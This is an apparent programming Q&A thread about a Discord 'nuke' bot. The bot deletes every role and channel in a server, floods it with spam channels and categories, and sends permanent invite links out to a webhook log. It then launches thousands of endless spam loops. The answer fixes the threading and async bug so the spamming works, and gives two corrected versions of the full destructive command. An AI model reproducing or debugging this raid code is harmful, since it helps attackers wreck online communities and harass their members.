Reputation: 23
so i got this error:
/usr/lib/python3.8/threading.py:870: RuntimeWarning: coroutine 'mspammer' was never awaited
self._target(*self._args, **self._kwargs)
RuntimeWarning: Enable tracemalloc to get the object allocation traceback
And here is a part of code:
async def mspammer(channel: discord.TextChannel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await asyncio.sleep(0.5)
@client.command()
async def nuke(ctx: commands.Context):
everyonespam = True
await ctx.message.delete()
guild = ctx.guild
amount = 6000
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"Role '{role.name}' has been deleted " + Fore.RESET)
except:
print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
for i in range(10):
await guild.create_category(random.choice(SPAM_CATEGORY))
channela = await guild.create_text_channel('cacti on top')
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 0)
link = str(link)
webhooklog.send('NEW LINK: ' + link)
await channela.send(random.choice(SPAM_MESSAGE))
for i in range(amount):
_ = Thread(target=mspammer, args=(channel,))
_.start()
channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
The code is supposed to create channels and spam in them. But it only creates channels and doesn't spam in them. Do you know what's the problem?
Upvotes: 2
Views: 2010
Reputation: 477
import asyncio
async def mspam(channel: discord.TextChannel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await asyncio.sleep(0.5)
def spam(channel):
asyncio.run(mspam(channel))
@client.command()
async def nuke(ctx: commands.Context):
everyonespam = True
await ctx.message.delete()
guild = ctx.guild
amount = 6000
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"Role '{role.name}' has been deleted " + Fore.RESET)
except:
print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
for i in range(10):
await guild.create_category(random.choice(SPAM_CATEGORY))
channela = await guild.create_text_channel('cacti on top')
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 0)
link = str(link)
webhooklog.send('NEW LINK: ' + link)
await channela.send(random.choice(SPAM_MESSAGE))
for i in range(amount):
channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
spam(channel)
Yes, you cannot run quarantined scripts using threading. A simpler method with one function should also work, since creating a channel will not wait for anything.
async def mspammer(channel: discord.TextChannel):
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await asyncio.sleep(0.5)
@client.command()
async def nuke(ctx: commands.Context):
everyonespam = True
await ctx.message.delete()
guild = ctx.guild
amount = 6000
for role in guild.roles:
try:
await role.delete()
print(Fore.MAGENTA + f"Role '{role.name}' has been deleted " + Fore.RESET)
except:
print(Fore.GREEN + f"Role '{role.name}' has not been deleted" + Fore.RESET)
for channel in guild.channels:
try:
await channel.delete()
print(Fore.MAGENTA + f"{channel.name} has been deleted" + Fore.RESET)
except:
print(Fore.GREEN + f"{channel.name} couldn't be deleted." + Fore.RESET)
for i in range(10):
await guild.create_category(random.choice(SPAM_CATEGORY))
channela = await guild.create_text_channel('cacti on top')
for channel in guild.text_channels:
link = await channel.create_invite(max_age = 0, max_uses = 0)
link = str(link)
webhooklog.send('NEW LINK: ' + link)
await channela.send(random.choice(SPAM_MESSAGE))
for i in range(amount):
_ = Thread(target=mspammer, args=(channel,))
_.start()
channel = await guild.create_text_channel(random.choice(SPAM_CHANNEL))
while True:
await channel.send(random.choice(SPAM_MESSAGE))
await asyncio.sleep(0.5)
The only thing wrong is that the threading module does not support awaited functions, since it runs the scripts directly.
Upvotes: 2